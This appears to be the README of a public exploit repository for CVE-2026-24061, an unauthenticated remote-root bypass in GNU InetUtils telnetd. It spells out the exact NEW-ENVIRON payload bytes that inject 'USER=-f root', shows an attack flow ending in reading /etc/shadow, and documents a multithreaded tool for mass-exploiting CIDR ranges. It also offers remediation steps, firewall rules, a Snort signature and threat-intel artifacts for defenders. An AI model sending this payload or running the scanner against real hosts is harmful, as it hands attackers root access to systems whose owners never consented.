
GNU InetUtils telnetd - Unauthenticated Remote Root via NEW-ENVIRON Variable Injection.
GNU InetUtils telnetd - Unauthenticated Remote Root via NEW-ENVIRON Variable Injection
Overview - Technical Analysis - Affected Versions - Usage - Remediation - References
CVE-2026-24061 is a critical authentication bypass vulnerability in the telnetd daemon distributed as part of GNU InetUtils. The flaw resides in the handling of the Telnet NEW-ENVIRON option (RFC 1572) during the initial protocol handshake.
The root cause is a failure to sanitize client-supplied environment variables before passing them to the login(1) program. When the Telnet daemon receives a sub-negotiation packet containing the variable with the value , it passes this unsanitized value directly to the system binary.
NEW-ENVIRON ISUSER-f rootloginOn systems where login accepts the -f flag (force login without password verification), this results in an unauthenticated root session being granted to the remote attacker.
This vulnerability class has historical precedent: CVE-2001-0797 in SysV telnetd and the well-known Linux telnetd -f bypass from 1994 exploited the same fundamental failure to sanitize environment-sourced arguments passed to privileged binaries.
No credentials required. No prior access needed. A single network packet sequence achieves root.
GNU InetUtils telnetd processes NEW-ENVIRON (option code 0x27, per RFC 1572) sub-negotiation to collect client-supplied environment variables. These variables are assembled into an argument vector and passed to execve(2) when spawning login(1).
The vulnerability is triggered as follows:
IAC DO NEW-ENVIRON, soliciting environment variables from the client.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd constructs the login invocation as login -f root.login(1) interprets -f as "force login, skip authentication" and logs in the specified user (root) without requiring a password.| Step | Direction | Telnet Bytes (hex) | Meaning |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root WorksThe login(1) binary on many Linux systems accepts the -f <user> flag for "pre-authenticated" logins, historically used by terminal multiplexers and rlogin. When telnetd builds its exec call and fails to strip leading hyphens or validate option-like strings in environment variable values, it inadvertently passes attacker-controlled flags directly to login.
The effective call becomes:
execve("/bin/login", ["login", "-f", "root"], envp);
Attacker Vulnerable telnetd (port 23)
| |
|------- TCP SYN (port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet banner + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd calls: login -f root] |
| |
|<------ Root shell prompt (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow contents -----|
Prerequisites:
telnetd (TCP/23 open)inetutilslogin(1) binary supports the -f flag (standard on most Linux distributions)| Software | Affected Versions | Status |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (specific patched version TBD) | Vulnerable |
| Distributions shipping unpatched GNU inetutils | Various | Check vendor advisory |
Verify whether your distribution ships a patched version. Many modern systems have Telnet disabled by default; exposure requires an explicitly running
telnetd.
| Metric | Value |
|---|---|
| CVSS v3.1 Base Score | 9.8 (Critical) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
| Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK ID | Tactic | Technique | Relevance |
|---|---|---|---|
| T1190 | Initial Access | Exploit Public-Facing Application | Direct exploitation of telnetd over the network |
| T1059 | Execution | Command and Scripting Interpreter | Shell execution post-exploitation |
| T1078.004 | Privilege Escalation / Defense Evasion | Valid Accounts: Local Accounts | Authentication bypass yields a valid root session |
| T1548 | Privilege Escalation | Abuse Elevation Control Mechanism | login -f flag abused to bypass PAM/authentication |
| T1046 | Discovery | Network Service Discovery | Mass scanning component of the PoC |
Requirements: Python 3 (standard library only, zero external dependencies).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
No pip install needed. Both scripts use only the Python standard library.
poc_cve_2026_24061.py # Simple PoC (~100 lines) - understand the vulnerability
cve_2026_24061.py # Industrialized exploit - multithreaded, CIDR, CSV/JSON export
scripts/
generate_signatures.py # Auto-generate Snort/Suricata + Sigma rules from payload
generate_misp_event.py # Generate MISP-importable event JSON
generate_stix_bundle.py # Generate STIX 2.1 bundle (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Snort/Suricata detection rules (auto-generated)
sigma.yml # Sigma rule for SIEM (auto-generated)
indicators/
misp_event.json # MISP event - import via Events > Add Event > Import
stix_bundle.json # STIX 2.1 bundle - 11 objects (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: Minimal, readable, educational. One target, one function, zero abstraction. Read this to understand exactly how the vulnerability works at the protocol level.cve_2026_24061.py: Industrialized exploit for pentesting engagements. Multithreaded, supports CIDR ranges, file input, CSV/JSON export, quiet mode, custom users.Exploit a single host. The code is deliberately minimal so you can read it top to bottom and understand the full attack chain.
# Basic usage
python3 poc_cve_2026_24061.py 192.168.1.100
# Custom port
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| Parameter | Default | Description |
|---|---|---|
-t / --target | - | Single IP, hostname, or CIDR range |
-f / --file | - | File containing IPs/CIDRs (one per line, # comments) |
-T / --threads | 10 | Number of concurrent threads |
-p / --port | 23 | Target Telnet port |
--timeout | 5 | Socket timeout in seconds |
--user | root | Username for the -f payload |
-o / --output | - | Export results to CSV file |
--json | - | Export results to JSON file |
-q / --quiet | off | Quiet mode: only print vulnerable targets (one per line) |
--no-color | off | Disable ANSI color output |
| Status | Meaning |
|---|---|
[VULN] | Host confirmed vulnerable - root shell obtained |
[SAFE] | Host responded but authentication was not bypassed |
[CLOS] | Port closed or connection refused |
[ERR ] | Socket or protocol error during scan |
CSV output columns: ip:port, status, message
The script implements the full Telnet NEW-ENVIRON negotiation state machine natively in Python without relying on external Telnet libraries:
IAC command sequences and responds to DO NEW-ENVIRON with WILL NEW-ENVIRON.SB NEW-ENVIRON SEND sub-negotiation, transmits the injected payload (USER = "-f root").uid=0(root) or a shell prompt (#), in the absence of Login incorrect or Password:.id\n and checks for uid=0(root) in the response as secondary confirmation.Results are logged to stdout with color-coded status labels. Optional CSV export records all findings for post-processing.
Disable Telnet entirely. Telnet transmits all data in cleartext. Replace with SSH.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
Apply vendor patch. Install the patched version of inetutils from your distribution once available.
Block TCP/23 at perimeter. Apply firewall rules to deny inbound Telnet connections.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| Control | Description |
|---|---|
| Network segmentation | Restrict Telnet to isolated management networks if it cannot be disabled |
| PAM hardening | Review PAM configuration; disable -f pre-authentication where not required by login.defs |
| IDS/IPS signatures | Detect NEW-ENVIRON IS VAR USER VALUE -f patterns in Telnet traffic |
| Audit logging | Monitor auth.log / secure for unexpected root logins via login |
| Vulnerability scanning | Run authenticated scans (OpenVAS, Nessus) to identify unpatched inetutils |
Snort/Suricata rule skeleton for detecting the exploit in transit:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
This repository ships pre-generated threat intel artifacts, ready to import into your SOC/CTI stack. They are auto-generated by CI from the actual exploit payload - if the payload changes, the artifacts update.
Import indicators/misp_event.json directly into any MISP instance:
Events > Add Event > Import from... > JSON
The event contains: CVE ID, CVSS vector, Snort signature, payload hex, MITRE ATT&CK tags (T1190, T1548, T1059), CPE, and external references.
Import indicators/stix_bundle.json into OpenCTI, TAXII servers, or any STIX 2.1 consumer.
The bundle contains 11 objects: Vulnerability, Indicator (network pattern), 3 Attack Patterns (MITRE), Course of Action (remediation), Identity, and Relationships linking them.
Pre-built rules in signatures/:
snort.rules - 3 Snort/Suricata rules (exploit attempt, generic -f injection, post-exploitation root shell)sigma.yml - Sigma rule for SIEM correlationIf you modify the exploit payload, regenerate all artifacts:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
This tool is provided for authorized security auditing, academic research, and educational purposes only. Usage against systems without explicit written permission from the system owner is illegal under applicable computer fraud and abuse laws (including but not limited to the CFAA, Computer Misuse Act, and equivalent legislation). The author accepts no liability for unauthorized or malicious use.